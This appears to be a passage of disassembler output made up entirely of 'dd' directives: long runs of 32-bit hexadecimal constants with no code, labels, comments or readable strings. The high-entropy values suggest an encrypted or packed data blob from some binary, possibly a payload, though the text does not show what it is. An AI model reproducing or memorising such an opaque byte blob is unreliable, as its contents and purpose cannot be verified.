		dd 27C4E68Bh, 8CD96EB1h, 0F9A50285h, 0ABE98AC1h, 0D95D177Fh
		dd 895A2D5Ch, 91B415Bh,	0C300AE7Ch, 3312FADFh, 0D9047268h
		dd 0A4E9F8BCh, 3CC051A0h, 232702E7h, 9700C109h,	35073C01h
		dd 2E691109h, 2714564Dh, 2377659Ah, 0CB902Ch, 8158C66Dh
		dd 0AA733FCEh, 1CD72E4Ch, 0C7D207FBh, 0A16A0EF1h, 780F409Dh
		dd 6B48EA7Eh, 749502CDh, 0E94A3839h, 0F3EF427Fh, 5B61C1C6h
		dd 16B90C86h, 0D05A961Dh, 0F02F0A89h, 6E996983h, 9554F501h
		dd 847B3F36h, 0D205BF10h, 982DC2CFh, 11173A89h,	4BED947Fh
		dd 0BEAC7B3h, 0E72CF080h, 474D828h, 54FC5FCh, 0E12A5BC9h
		dd 0DF23A19h, 0A1F05CC9h, 0A8AC9195h, 0ED4C133Fh, 0AE0C9FDCh
		dd 0FBE6E8Ah, 0F7E3236h, 0CCF04649h, 0DDC48004h, 0BAC2E328h
		dd 1E67F09h, 4CB32C4Dh,	0E6462F82h, 0DB10138h, 9FE9D1F6h
		dd 53249DDEh, 6B0198Ah,	0AB1E360Bh, 0FA38FC9Eh,	7B9FD044h
		dd 5BB208CAh, 4C01742Ch, 47075E11h, 72520E85h, 73BB0C51h
		dd 0DD00B853h, 5193779h, 5A7E776Eh, 1EB85Ch, 73395F2Bh
		dd 4AC9E957h, 8270EC0Eh, 57455968h, 2C983D4Ch, 46E7B84Eh
		dd 70FBD4Fh, 1E147DECh,	0B11F660h, 0E95F12ADh, 0AD145D30h
		dd 244761Ah, 51B3B42Fh,	0E19996E1h, 55BA60A4h, 6783BD1Ch
		dd 28F45853h, 0E29858C9h, 0A4AEB7C7h, 0C7E19533h, 0B8BB94F5h
		dd 0EB68C288h, 8992510Ch, 4B7473CEh, 5805DC7Ah,	73BD75E7h
		dd 0D468412Bh, 4E284E45h, 12DFDED1h, 0C8AA743Bh, 4EBE0B8h
		dd 57340CFEh, 6D139143h, 0D50A765Ch, 0E03207EAh, 906406A3h
		dd 34291990h, 5E1280AFh, 0C8A47FA8h, 3FA45B41h,	0AF279B7h
		dd 4F705A8Dh, 0E6B22024h, 53E737F5h, 2FCB38E6h,	0E768EAD1h
		dd 7525CF8Bh, 0FC8DC5Ah, 0D412E4E9h, 0A0D6FF28h, 0ACF99F0Ch
		dd 5303733Eh, 0E9FD70E5h, 52310F0Fh, 5932CB6h, 0EB15AAB1h
		dd 6E745B74h, 6809B8B7h, 60714B64h, 2FB41F88h, 5004078Fh
		dd 864AF2C1h, 0B7F3B572h, 28CAD6E3h, 6C5D1B4Ah,	0E0C016F3h
		dd 80D3B802h, 66AC6856h, 0D3105C2Bh, 111B2DB0h,	81687E3Ah
		dd 25D62919h, 0BE31F001h
		dd 5AD00810h, 2D15A305h, 56965EEDh, 0E0D1F15Eh,	874B5BD9h
		dd 0C49950h, 0BB51B852h, 0AE47AD40h, 8109559Ch,	342C57E9h
		dd 7D3BD00Ch, 41B5CA32h, 9FDC0806h, 0C1B4C905h,	295D108Ah
		dd 0FE20393h, 0B84B5C72h, 2D70F1E3h, 0BE687755h, 0A17EA6D3h
		dd 0E90D349Eh, 38573BECh, 0CE493CF4h, 6FBC45F0h, 0A0C58160h
		dd 1D64054Ch, 0D7D8E945h, 593E530Eh, 0D8F70A25h, 1FBD02CCh
		dd 0C5091651h, 0D0205844h, 165E64D3h, 6027A858h, 5BEA5A54h
		dd 0B9C4BFD9h, 0C089E93Bh, 410F9050h, 20B088F4h, 2FA22C8Bh
		dd 298FB474h, 0B94A4C8h, 2F7995A3h, 0CA49D62Bh,	0A552391Fh
		dd 1594B1F3h, 0B039FD5Ah, 2722F2EBh, 1545139h, 30E9114Ch
		dd 5E7BD4E3h, 0E4C1C19h, 0F02EB3h, 0FE4B86AEh, 0B2A0CA90h
		dd 61F971AEh, 4FB9528Ch, 0A76BE102h, 907A600Bh,	0C10AEF6Bh
		dd 5C252996h, 8060918h,	0C214821Ch, 0FCE24A7Ch,	169CE8E9h
		dd 9F75653h, 5F54E80Ch,	0D818BA63h, 58296C66h, 0F885D9D0h
		dd 750067Fh, 2A256039h,	698659BDh, 93CFC25Eh, 0BEA8D08h
		dd 0BD7F652h, 586BDC30h, 0A34A74E9h, 0BBCA57E8h, 726E428Bh
		dd 623AE901h, 0A66A896Eh, 2D62EFBBh, 0DB0B5DEDh, 44DCA600h
		dd 295B5C2Bh, 816C0C4h,	75D9DE19h, 0BD4ECF68h, 7E0B9F5Dh
		dd 0FC062BA8h, 1DEA2795h, 7AADFF5Eh, 0A1DB27A3h, 0BB532F10h
		dd 645C2709h, 0B0CD0133h, 4C39722h, 8B730E0Ch, 0F9DA9055h
		dd 6D505163h, 9C020BDFh, 76E992AEh, 5127A462h, 0AF9E74EFh
		dd 0B21222Ch, 577BE9C1h, 39CB1975h, 6252AF52h, 0D3F2D824h
		dd 0F5CEB8E5h, 262A0FE8h, 0FC9CFA88h, 264498ABh, 6920A5CCh
		dd 0D0202C4Ch, 2740769Eh, 6688BA3h, 8080CD7Ah, 62B61C7h
		dd 0F7FA8830h, 0FC65A6FAh, 0FC3DF6A4h, 8942CFBEh, 974EDFEBh
		dd 12464500h, 57DD0160h, 2908A1BFh, 40A15F60h, 2D0F0593h
		dd 4D68D66Fh, 8660A1B6h, 0E60912B9h, 2D01BF06h,	1C08348h
		dd 0E02B602Eh, 2217F453h, 715751E9h, 0FA187A9h,	11DE62A3h
		dd 5A0B56AFh, 0EEE5D920h, 9AE98007h, 0C19AF40Bh, 6C087D68h
		dd 2820CC30h, 2E649FD3h, 0B7606120h, 65FF9CE2h,	37E90C60h
		dd 0F0582C45h, 0E0B500DBh, 0EF3032B7h, 1D07359h, 6676F780h
		dd 0D2194C68h, 9B54F623h, 0FE5BE001h, 6FD4A1C7h, 0A95251FCh
		dd 0D99D72D7h, 4B2E9255h, 0A472B9BCh, 8F2A85BDh, 2BF1E11Fh
		dd 42BCDE2Ch, 660495F5h, 582CB5Ah, 9236859h, 8854DCBBh
		dd 14BDF7B2h, 0C26812DFh, 907FF64Ch, 0DF169306h, 83E95B42h
		dd 4A85F4E2h, 6E950223h, 61573940h, 856E21EDh, 208BAFACh
		dd 48F2DF4Eh, 0BD5A8454h, 0CF650B13h, 0EAC16B21h, 76616906h
		dd 0A12950Ch, 12574E6Fh, 0C16D55D9h, 5148EE1h, 2F77F801h
		dd 4D7029CAh, 90061869h, 0D6F63E79h, 894FC527h,	0E607291Ah
		dd 0B252175Ah, 1D23BE3Ch, 0C28C2C51h, 0C2F6AEABh, 8902B1CCh
		dd 3203DDCEh, 2C931B80h, 0FB5D85F5h, 8F1273DDh,	0B7C4525Fh
		dd 52AC9220h, 0B3285350h, 0D84BB488h, 0CC973FB2h, 7141E043h
		dd 0C03BC47Ah, 496FAB56h, 3EB91B4Eh, 0C50B0841h, 5A351E60h
		dd 3AD77EF5h, 13E92B91h, 0FFDC122Bh, 666E3E41h,	7CB7904Eh
		dd 297291B8h, 0EC1831DAh, 587ED408h, 3EBDCF05h,	42FB5A56h
		dd 5169B405h, 34EF1CC0h, 9601276h, 8B2BED18h, 4A6A982Dh
		dd 1822A3A3h, 0CBF354B5h, 50371D06h, 7AF38072h,	554A3C7Ch
		dd 4F01BD77h, 0EB311A16h, 0ADADC1E9h, 0C087CB69h, 11FA2870h
		dd 0EA4DEB60h, 5E945705h, 83E5062h, 68E6582Dh, 6D9EE924h
		dd 0BFD214AFh, 65F93D2h, 4883A120h, 96476007h, 179107Eh
		dd 32DA58BFh, 0EE7D56F7h, 5C036A77h, 0DAC895FDh, 5351AC00h
		dd 0B339B652h, 0C060427Dh, 21B7BB6Dh, 0BD4E02CCh, 3B791F33h
		dd 0B92827FCh, 0B650448h, 82B64A16h, 2EE52890h,	0EB60FBC5h
		dd 57E2A131h, 0A8EF8901h, 0B75D8ED5h, 29511301h, 0ECE66CAFh
		dd 4B01A140h, 0AE1535DEh, 0BAD4C898h, 1CB832D0h, 64572DC1h
		dd 12844ACEh, 788CAE30h, 0C4989864h, 1353BCA2h,	4511DAECh
		dd 0C4342730h, 7E5E4C07h, 12B9BD10h, 9BB9535Dh,	0A23681B5h
		dd 0B100340Ah, 0E1809B0Fh, 76E65BCh, 52588CFBh,	82EF683Ah
		dd 0E95A0B67h, 31EB5022h, 9110F330h, 0FFBE02DBh, 6B1F2661h
		dd 887BADA1h, 0F7A2E9A6h, 584BEFF2h, 406408F0h,	0B903B809h
		dd 2D4C0C5Ah, 0DD08953h, 1D1DFFC4h, 0C040369Fh,	41BA7323h
		dd 8C79DC05h, 72B2804Fh, 0C420004Ch, 40F1292Fh,	2D196C7Ch
		dd 749046DFh, 502E6EB2h, 80B1162h, 85465D6h, 451C6888h
		dd 1717EE7Ah, 923D7783h, 0A5DC62BEh, 0A480478h,	17DC2C8Bh
		dd 4D4A8BA0h, 7830D73Eh, 0B77E3A68h, 0A5B27E14h, 862E679Dh
		dd 0F1FE27E9h, 0DD24D777h, 7787547Ah, 57FE5F64h, 8650B5A2h
		dd 28034CE7h, 4E98283Fh, 64570C16h, 3A32B626h, 0C7B4D805h
		dd 67FE3982h, 23EE0080h, 0E96C374Bh, 275F55Dh, 0F6381BBAh
		dd 550D606Dh, 0C662403h, 4A590636h, 0EB040C30h,	3B8C182Eh
		dd 14016101h, 5989316Fh, 33873E93h, 1688CFB4h, 0AC7C5ABFh
		dd 6650DF6Eh, 9613533Fh, 0D69BA8F0h, 0B42127AAh, 0AB4390C7h
		dd 4B48F213h, 182F0B05h, 89C882B0h, 0CFDC09D7h,	2A7CA310h
		dd 31AB455Fh, 1915FD6Fh, 78657A4Dh, 1570BAAh, 0D199F683h
		dd 1A8D8F4Fh, 4B6E9C97h, 1AD75F21h, 82398295h, 0E0FE80Fh
		dd 382EA40Ah, 7F8104CBh, 60FEE781h, 56B88193h, 3C1F0768h
		dd 0CE58C0D6h, 0F44A0515h, 0B192E914h, 5EA773A4h, 15944321h
		dd 5A90CC7Ah, 0CDFC034Fh, 725E86A2h, 577D9627h,	0A64FFF59h
		dd 9102273Dh, 5203CC98h, 67508CB3h, 3E718B2Dh, 2747513Eh
		dd 0C113C9B3h, 52EBC5FBh, 0E04ABACCh, 0AE925D51h, 461A595Fh
		dd 5FC74218h, 7D09B002h, 0E9AFD20Bh, 844237Ch, 7E533E68h
		dd 6088921h, 2D0C100Fh,	0FC64095Dh, 40525A53h, 0D8C33D29h
		dd 0B987343Ch, 0DB045EA8h, 0C1203061h, 0C5143A25h, 5D0BB33h
		dd 1EC82FCh, 380168C5h,	68AF502Eh, 0ECC1C53Ah, 61884CDDh
		dd 0D06DE9ECh, 0C204287Eh, 26CE63F9h, 9A1DB850h, 0D04F2949h
		dd 0E0D909A8h, 3AC8F46Dh, 40829458h, 0A975D1E2h, 316BE397h
		dd 21FB0189h, 28CB8B9Eh, 5D8484C1h, 32280012h, 551582Bh
		dd 400386FFh, 97173035h, 7E956BD8h, 777EEBC1h, 0E979C8E9h
		dd 0DD9C6039h, 674268C2h, 72BD6A7Ch, 0B48D25D5h, 80C05779h
		dd 4A3094EFh, 433798F8h, 188C514Fh, 576940BEh, 0C0B7DFF2h
		dd 0E8015BF4h, 7649250h, 46B925DAh, 292ABF8Fh, 55753008h
		dd 916067E9h, 5777F7A5h, 0AE3A4AF8h, 0CE50B01Eh, 5D77893Fh
		dd 0BC4A8B4Ch, 0EE29500Ch, 205C717Ch, 93EF8159h, 32AD76A7h
		dd 0BE947678h, 0ABB015Ah, 7B3CF668h, 3FCC5977h,	10CAE94Ah
		dd 0FF48DECDh, 92B5B34Bh, 6F943DAEh, 0DCABBCC4h, 4F44A749h
		dd 0C796A1F8h, 582B7104h, 45C46A5Fh, 0AFD617BAh, 367D0A3Dh
		dd 5DBD0C98h, 4C173405h, 91FB48E9h, 882FCC49h, 87A59CE3h
		dd 0E2D6F7F0h, 0C9D90930h, 0FA241E2Bh, 71669742h, 0EC9542CEh
		dd 564507F6h, 0CC0E61AFh, 9A12413h, 378A6E00h, 71613558h
		dd 404C176Ah, 0CB200525h, 0E59B0378h, 55B0C015h, 2D0E0BBDh
		dd 0EDE905DDh, 5BE0639Eh, 0FBF50581h, 0F7911h, 0EF4BF882h
		dd 0C25DE963h, 4C463760h, 0E66588E1h, 1579FC21h, 0F9B3A085h
		dd 77618470h, 719D5E2Ch, 0E1722FECh, 0CBF351A0h, 39805980h
		dd 0EC9BA1C4h, 441C0C1Bh
		dd 0CB1258E1h, 0C3C1A32Dh, 0B4DE287Bh, 0EB804700h, 50E32818h
		dd 2A9CEBB0h, 92684458h, 0C498EC12h, 0A3FD03FCh, 0FE56A800h
		dd 2F28169h, 0C0AA0C27h, 4B7A4B5Bh, 4CCACB6h, 51D115F1h
		dd 0F200A2F8h, 0ED1B91D3h, 0FB40AFE9h, 8BE650C0h, 31574114h
		dd 0EF493065h, 9F30347Bh, 0B3CF17C0h, 555E2C11h, 9D300B1Bh
		dd 5198F811h, 0F4C0FE92h, 849650B0h, 26AB762h, 9E769968h
		dd 7254D427h, 4D11FA00h, 0F2A1747Eh, 0E90D8515h, 25EBC7D4h
		dd 53F008C7h, 0EF134813h, 4B3016F0h, 85C2B2E5h,	0C42CE828h
		dd 78EA702Ch, 9770E9D0h, 5A51807Bh, 0B7E6EEh, 0BE665639h
		dd 346D7A41h, 1236EA8h,	0A24326AFh, 818A744Dh, 7B6FC924h
		dd 24020E13h, 5F505508h, 68041B64h, 37514F94h, 0D30FE3F8h
		dd 0E169953h, 0BCB39735h, 9CAFF54Ah, 6E405BA3h,	0A83C25E9h
		dd 0AAEEAD72h, 56699F62h, 9154C6Fh, 2CD64574h, 3AC9E055h
		dd 32E40538h, 0C8BD7CE9h, 2FDA4B3h, 1218FEC0h, 0FBE9C423h
		dd 2D180BCFh, 0CE097FD9h, 28BC31E7h, 7DE04BD1h,	68070A0Fh
		dd 66F52AF7h, 4FD45856h, 0D0712A0h, 7C2B9990h, 0C1591FF6h
		dd 0F79307E0h, 833530D3h, 3B125AFEh, 2F405EE9h,	9915A52Dh
		dd 0BEF900Ah, 27C53913h, 1FDFF700h, 0F1EC5329h,	19FB4F17h
		dd 96596CF0h, 0E8586241h, 496645FFh, 0BB53CFB0h, 3079F109h
		dd 4194DA58h, 290B00FEh, 0DB4AE9CEh, 0C9BFEF00h, 9034534Fh
		dd 69E10A97h, 10F46762h, 68BC4FFCh, 0CE409741h,	5E7AABF6h
		dd 57E3A0F3h, 0D2C37D0Fh, 0D6F33701h, 0AFE5D05Fh, 2DEE45EAh
		dd 354CD718h, 0A205D88Ch, 0AD6B6507h, 6B885ADEh, 0A7D12DBAh
		dd 0E43CF74Bh, 0E74C552Dh, 54680F12h, 0EE0E6024h, 99F5E2C1h
		dd 20C90D00h, 5786301h,	0F0B4BA01h, 2E6EF12Ah, 0DBF16302h
		dd 958BDFD2h, 701EBA54h, 64F50762h, 0B4022610h,	5BC0B8B4h
		dd 974CB1E8h, 3434A05Fh, 2659519Dh, 0AA2114B8h,	7D89E42Dh
		dd 7B9700FFh, 95E69F02h, 0E2200D64h, 8B659FC2h,	96B5F215h
		dd 49A13DF9h, 0CB5207E7h, 0CE39E94Bh, 0F5AF4C8h, 58E63059h
		dd 0AFC8F52Bh, 0FDBA72EFh, 14D085Eh, 0A9FD3BAEh, 0CF010B8Fh
		dd 0D60EFA84h, 0C1293D55h, 0B06EBB9Ah, 12422317h, 6742DFEh
		dd 0E92D0BB8h, 5DCE615Bh, 89A756C6h, 0B8574CFBh, 9F5AC5FCh
		dd 2C448371h, 0E703CE95h, 0A99F97C1h, 4689CE31h, 3FD97BDAh
		dd 0AD95AF4Ah, 0FA0954B3h, 805085C9h, 0CA1AF124h, 9EB80124h
		dd 29954764h, 282730E8h, 1ED4E241h, 0C1B8BD4Bh,	7B4B1968h
		dd 0FD469537h, 46064431h, 0E648D1E2h, 53925DA2h, 743D01B1h
		dd 63E9DA9Dh, 3195126Fh, 7A0C67A9h, 52CA3FB2h, 0FFC13598h
		dd 59EC0B81h, 8768F37Eh, 0B9CCB1E9h, 532F00F6h,	410530ABh
		dd 2B5E7A15h, 741ADECh,	443D2860h, 0F173F758h, 27C36816h
		dd 744571F5h, 4A971704h, 67C28000h, 0E490D520h,	3C03ED40h
		dd 4E173862h, 0A46EF895h, 0D209D30Bh, 86DC9560h, 0A7BE011Dh
		dd 587FC16Dh, 0CB81F23Fh, 4FB05F52h, 2A0470F5h,	7CBF6812h
		dd 79A631ABh, 0C1310190h, 0C423876Eh, 931CEC4Ch, 5B586E04h
		dd 27EDBD00h, 314E25C0h, 0E24B95ACh, 6CE9CF51h,	715A3064h
		dd 0FAE0BF91h, 9591CEABh, 0EB95F828h, 0F5DA4A93h, 0D2EF329Fh
		dd 58B5C1BAh, 0D3A79DB9h, 0E920ACCh, 3AE6BD5Bh,	39886426h
		dd 2649DF08h, 35080043h, 7E566748h, 8A0B2DE8h, 0F0C31662h
		dd 295F2D05h, 0C02F0ACEh, 2BA5B61h, 2A451AC1h, 841DE35Fh
		dd 0B6025254h, 293E8C4Eh, 8D8887Dh, 58138713h, 7C8B2E00h
		dd 27E9092Ah, 924CEB0Fh, 23E12F98h, 7C4E1088h, 0D20A554Ch
		dd 38FFB2Eh, 470245CBh,	5741FFF5h, 645246BAh, 0E8220C81h
		dd 0CDE919ACh, 27297AEFh, 0AC9F36Ah, 0C2D011E9h, 0C3D2EE9Dh
		dd 7CFEF4B1h, 88E53EB1h, 583C059h, 7160EF3Ch, 7F5E300Ch
		dd 9F1B04Ch, 0F599A9FAh, 998B1709h, 12C8D96h, 4F17BDFBh
		dd 1008BC0Ch, 0B8B2B5Fh, 85E905B5h, 0BE89426Dh,	536103DBh
		dd 8B73D9E6h, 0B056630Bh, 1733C648h, 0B02EE937h, 66C9438Ah
		dd 20BFC601h, 80094EFDh, 455138C3h, 0AE0CB44Ch,	0DD10908Bh
		dd 3BB905E3h, 0FBE835Fh, 78C691C5h, 7B794638h, 7F719725h
		dd 2C089E08h, 2CD83DDEh, 13489F84h, 85E01CAFh, 0FE5542DAh
		dd 0C8CA0B63h, 68594D1Fh, 0E634A49h, 57FEF187h,	0D3A9E968h
		dd 27CE7E08h, 1520D9DAh, 0A5B84E87h, 0FD6B5570h, 0EB313584h
		dd 268A3980h, 208798BAh, 95B24C2Bh, 0FE94B6F0h,	87E4680Dh
		dd 9754CAE8h, 0DEAFA859h, 29D9AF20h, 7429556Bh,	0CBE1566h
		dd 0A114D77Ah, 946EE915h, 0BE7376D9h, 0A8A1C17Eh, 2E9825B9h
		dd 44EF3164h, 1DB655AEh, 76A6801h, 16B1087h, 3B0520B6h
		dd 0F5C02B34h, 0C3FBB5E9h, 505D542Bh, 0F7564ACAh, 425DFCF2h
		dd 9A825E54h, 0FF7A631Eh, 5447B025h, 9C55EB27h,	2AE916DBh
		dd 6CB22986h, 61FAD348h, 17CEC1B7h, 0E7AADF6Bh,	7AC1658h
		dd 0CF012A64h, 6BD1F7ADh, 40E73AB0h, 522D6877h,	23749841h
		dd 2A740A39h, 884EFC1h,	5B0BF902h, 9A27551h, 3B5FE01Fh
		dd 0F0FCD9CFh, 2EE7A76Fh, 30427E10h, 43E6F147h,	970BAA67h
		dd 51248068h, 45382E2h,	535478FBh, 0FA092228h, 5862886Eh
		dd 8929586Eh, 0ABA0CB17h, 0A87C7838h, 80B3A4FAh, 0B02E7BB5h
		dd 0CB3F7B6Eh, 64E7A0ACh, 78B2BAC3h, 5D9F3C9h, 20FB8746h
		dd 0C09EA23Fh, 88FD5969h, 290946B2h, 2043ECC8h,	81004DEDh
		dd 0D00DCDF2h, 5D3216Fh, 6EBC15Ah, 92D98243h, 90F25BECh
		dd 0BF0474BAh, 0A888B031h, 0AE2A16BBh, 80BC0375h, 4120680Bh
		dd 8FC1DE1Bh, 9F346B6Ah, 203EB1AAh, 57829BF5h, 241C11FAh
		dd 7A7B050Bh, 0E370F0Bh, 6728F54Bh, 2D5D1708h, 2A45FD26h
		dd 3D7CC16h, 0EAA0CC94h, 4DCC9D5Dh, 0FE6F100Ah,	0F40ABF35h
		dd 5F39F090h, 0C1A3F56h, 65C75FF1h, 729056ADh, 0DF68D418h
		dd 0DE735B48h, 2267DB09h, 0D72241h, 6E10BA52h, 4A2CC51Fh
		dd 5A074009h, 47424C94h, 47793500h, 5AD63157h, 0B53BD09Dh
		dd 85BB6082h, 6A4BB900h, 1605862h, 402C3748h, 79EB0741h
		dd 0AF2925F1h, 0D1AF5F12h, 1DB62E5h, 60DDC288h,	2C2F126Ah
		dd 0ED0E8178h, 3237B0BAh, 57BB9C85h, 7C1B71A0h,	5BBB0045h
		dd 19BA1F5Ah, 0F914C6BEh, 40B7AE28h, 34B5DDE1h,	0EEC70E49h
		dd 2743C423h, 2CDE7AB6h, 0F8AB162h, 0E5BE1EF7h,	0B33E907Dh
		dd 0A67BE173h, 3E6E52A5h, 0AE39689Dh, 0AA288D00h, 0BCA814Dh
		dd 799A3A5Ch, 296009h, 66E0007Dh, 73D78853h, 0F9C14B51h
		dd 0A5BC2D8Ah, 0C7FBE3F8h, 3F51E0AEh, 0D548F775h, 13840652h
		dd 55E7BCBh, 69AFACEDh,	586AB8ECh, 0E9060404h, 0C6D5558Bh
		dd 0E68388EEh, 27524440h, 0FE1DEB6h, 539130F4h,	0F698B700h
		dd 80CFFED7h, 88B816F7h, 0C83104FDh, 4DA1478h, 33404D0Ch
		dd 1D5A50FCh, 0AACDE93Dh, 34B25185h, 192853Ch, 1903C668h
		dd 0C2A6206Ch, 0F7010DCCh, 0B1EF4007h, 0B252CB07h, 80D1FE73h
		dd 0C2CC88E2h, 0C50CC857h, 0D1286102h, 4E86C15Ah, 0E90A0696h
		dd 4FCA8E37h, 61A3E9D3h, 0F57A2D0Ch, 0F2A63A0Bh, 4AD3F910h
		dd 0C89351C1h, 56EDEB81h, 0A68268F4h, 0A64E2DACh, 0F63187DBh
		dd 5505591Ah, 5726B390h, 0AE5570C9h, 5D37129Fh,	0CEF2D4C0h
		dd 0C19818B5h, 0C14E9602h, 944AA2E9h, 7A0C325h,	617F52E6h
		dd 65F5CB87h, 0D6869B94h, 4FA02790h, 4436273Bh,	2F7627FCh
		dd 52F6BB94h, 57585CE1h
		dd 6BEB6085h, 47C704E4h, 2CFE17FDh, 7BB553BCh, 7AD9E266h
		dd 0D8DD5B07h, 66802C6Eh, 87C59BDh, 1828439Ah, 0E448F32Fh
		dd 0B9F673EDh, 0BF5C9223h, 2EE9FB60h, 0CF575CC7h, 872CDF20h
		dd 709E5F7h, 0D993804Fh, 265B4BABh, 1716FA01h, 92EDECF1h
		dd 0C1C07BB8h, 6292656Ch, 41F6294Dh, 0B8133B08h, 0ADF3FD71h
		dd 70FCBB01h, 0E3A8FD33h, 1940A068h, 0A7A825E9h, 0B462AF74h
		dd 5BA005Ah, 3473BF09h,	6CB86290h, 0D8278D05h, 0C380417Bh
		dd 981548C8h, 5EF130BDh, 325A7E20h, 0E885AC4Ah,	0B8ED5604h
		dd 0C1E95309h, 1279725Dh, 75A5EA81h, 7E720E6Fh,	0E4C00370h
		dd 0D1C4FE08h, 983F4C23h, 0F54A7CE3h, 0E4D324ACh, 15E88E9h
		dd 0F4102DF6h, 0EE871397h, 0B80F4E8h, 1E85CE1h,	5BB09097h
		dd 0B5518093h, 0ED80CB0Fh, 5E466BAAh, 50F382EAh, 84FD9A60h
		dd 75AE5D81h, 3213EFBFh, 89174FB9h, 0B22964CAh,	0B90FC4ABh
		dd 0DB13AA17h, 4269ECC1h, 7D89C210h, 2958381Dh,	8489559Fh
		dd 0CC28C85Ah, 0ED0202Ah, 8F131505h, 1381432Eh,	29018D4Fh
		dd 0F89E43D1h, 0B6EC655Bh, 6187240Fh, 2768FE86h, 3BA85897h
		dd 845FF4EEh, 47EB192h,	88DB2108h, 11217A60h, 5E025643h
		dd 486BCA90h, 5DEB21C6h, 0AEAF4810h, 0D68F698h,	2CB7B4Fh
		dd 0E9164296h, 8793A4ADh, 4E7940A0h, 0AC0B54B0h, 7845255Eh
		dd 42AFC9Eh, 89E3FC74h,	0E72B80D7h, 1D1665BFh, 3AB84F64h
		dd 6728002h, 0B760891Fh, 58C982C5h, 83520958h, 0B4EA08B9h
		dd 0FC25BCF8h, 66EFEADCh, 9EDF58E0h, 0E21608B7h, 66B4C58Fh
		dd 5AB0532Eh, 0CC228C6h, 633C3A81h, 4038B65Bh, 0B3805594h
		dd 0D3F600FDh, 0C057E380h, 515E06EBh, 0E9216CCBh, 0AF53A7AFh
		dd 0DA3438BDh, 762C3CD8h, 90064A92h, 99413399h,	0E6C12512h
		dd 82CE8307h, 5348A7A1h, 19F42080h, 0E6D1793Fh,	2C854BBEh
		dd 8B054D6Ah, 5F24F2C0h, 3F84AE94h, 0F1F6E691h,	96CCC724h
		dd 47378B47h, 0FC8B6C59h, 69497CC5h, 0F82E394Ch, 50606F44h
		dd 0C6BD7B8h, 0D9BE046Ah, 4BF290Bh, 0D4AEEDCDh,	0BD5AC29Eh
		dd 9EC2B4F4h, 0C14F2278h, 0E5692075h, 63EF338Eh, 40B5C74h
		dd 0B43529C0h, 7B061102h, 7F39E940h, 47F6A5A1h,	6E043EC0h
		dd 0BD52684Ch, 16E548D1h, 0EDA2909Eh, 0E537FA4Ah, 686B56F2h
		dd 505D55BDh, 40A980F7h, 7A950587h, 6B0A946Bh, 0D658E276h
		dd 26880AAh, 208D5D4Ah,	99DA1C2h, 113D1C77h, 95612D1Ah
		dd 44B72FCh, 7EC68F8h, 0B8CBF3C4h, 584DA115h, 63970305h
		dd 2C3A4874h, 0BBD401Fh, 46DF201Ah, 7161D80h, 0A1B835F0h
		dd 0CFB7434Bh, 3C7F5C25h, 0C0E95175h, 0CADBB23Bh, 3D0FCF51h
		dd 48124571h, 0D045D2BAh, 2AC1CE1h, 497A7453h, 5F147D8Ch
		dd 78FC294Ah, 7488EBB4h, 0FC212FE9h, 9D897879h,	4644558Dh
		dd 0CF1D689Fh, 563C146Dh, 0CD84995Ah, 0E2E74158h, 4FC1B50Ah
		dd 0AE587A28h, 0D1DFEC3Fh, 2D5EF7D5h, 25C5D4F8h, 66DE74D6h
		dd 9DC07D02h, 575B5453h, 6795FA56h, 74DF979Eh, 9990AE10h
		dd 0F2DAF658h, 8DE76038h, 80F484C5h, 0EA89EB12h, 0CAB0F7E8h
		dd 66F23759h, 2A50574Ch, 6CBDE730h, 5EF018EEh, 6FA0CC51h
		dd 0E9427D0Dh, 0CAA0B10Ah, 0C2C083AEh, 4E6800B1h, 2228B33Ah
		dd 0E548C15Bh, 0E153CFDCh, 414B076Fh, 0CEBC6E30h, 0A6E5EE1Dh
		dd 8492F998h, 0AC0BD7B9h, 0EB8505F7h, 7F4704ABh, 0E4EA993Fh
		dd 0DEA663EFh, 0FBCB2797h, 2BD244D4h, 151EF75Bh, 4EE9F626h
		dd 93A81649h, 0FB438D43h, 84E02B4Fh, 0B3E84B21h, 5EE909A7h
		dd 0F2905D74h, 751F92EAh, 404CA5A9h, 0B5B91A73h, 899727FAh
		dd 0C7590030h, 4FF7630Bh, 588EF83Eh, 0A11E108Dh, 0F8295A03h
		dd 0ECE17505h, 0E8B8405Ch, 8001B951h, 0E9068203h, 496E4785h
		dd 0F4A7BD53h, 0F2540468h, 3C444FCDh, 8002AD97h, 65E0D1F5h
		dd 0E54CC007h, 75B712BAh, 1C4A93ACh, 0E91982A0h, 4E578489h
		dd 590BA212h, 0EF562566h, 75B47E31h, 5FEDBA00h,	0C138C32Ch
		dd 0C8206005h, 0BF34A104h, 0E104BF12h, 59B89E92h, 5745E8A2h
		dd 89ED0597h, 1A845B1h,	0E649F9F6h, 4AE168D0h, 1292CF04h
		dd 0CBEEF51Fh, 88A012F2h, 469832EEh, 9746667Fh,	75641340h
		dd 3E80244Fh, 9E62E905h, 0BBB702C1h, 282D7F6h, 0FF85C780h
		dd 66F7E1E4h, 3010946Ah, 3DF223C2h, 0CE1305Fh, 138350Ch
		dd 0E089782Fh, 80DBF1FDh, 75621268h, 0D5EE1C3Dh, 12C62ECh
		dd 9F1071CAh, 2CF75926h, 77B86009h, 43090906h, 55959AE9h
		dd 78ECEE98h, 0F724E87Eh, 0F11A85D1h, 4E055F11h, 6906A1DBh
		dd 7502897Fh, 0D389724Dh, 4411546Dh, 4902A089h,	11B7CF6Eh
		dd 0ABCD4B7Dh, 0F6F2A934h, 663C3A98h, 9FCE3080h, 0F0F8AB96h
		dd 8522E927h, 0DA074DCCh, 6CC40F1Eh, 0E91AB4AEh, 993F5F35h
		dd 9B68BA90h, 1539EC1Eh, 68442958h, 3CA8E982h, 1766E490h
		dd 0D04EEE25h, 80E6403Ch, 679808F2h, 2C5C29C2h,	0AD0E5784h
		dd 0E6B10992h, 0B0500C00h, 3320E987h, 12B21583h, 310F128h
		dd 0ACB84B99h, 0A396F28h, 0A67C9BF5h, 572C1281h, 0F04AF8A4h
		dd 0C0F6B5E9h, 2C1FC639h, 6ABF18C9h, 5E080D36h,	88FEF1E6h
		dd 1E3DE3A9h, 60172C77h, 0A95F0F82h, 4E3FF4CEh,	5B3D7EC8h
		dd 2883FBCh, 59CAB5BFh,	858B4DF8h, 71A6DD6h, 9382FDD1h
		dd 31028C75h, 99BAC1E8h, 9DCDB23Eh, 3BEA2E62h, 0D8BD584Dh
		dd 0FD3035CEh, 0C08425B4h, 3320B4AAh, 1236C848h, 68FAD001h
		dd 0B26A28BEh, 0CEC7A49Bh, 54C8E2D2h, 2AFDC2E7h, 40629F7Eh
		dd 64337E6Ch, 3C98BB5Fh, 0C9565BE5h, 13492DE9h,	6E96DAEh
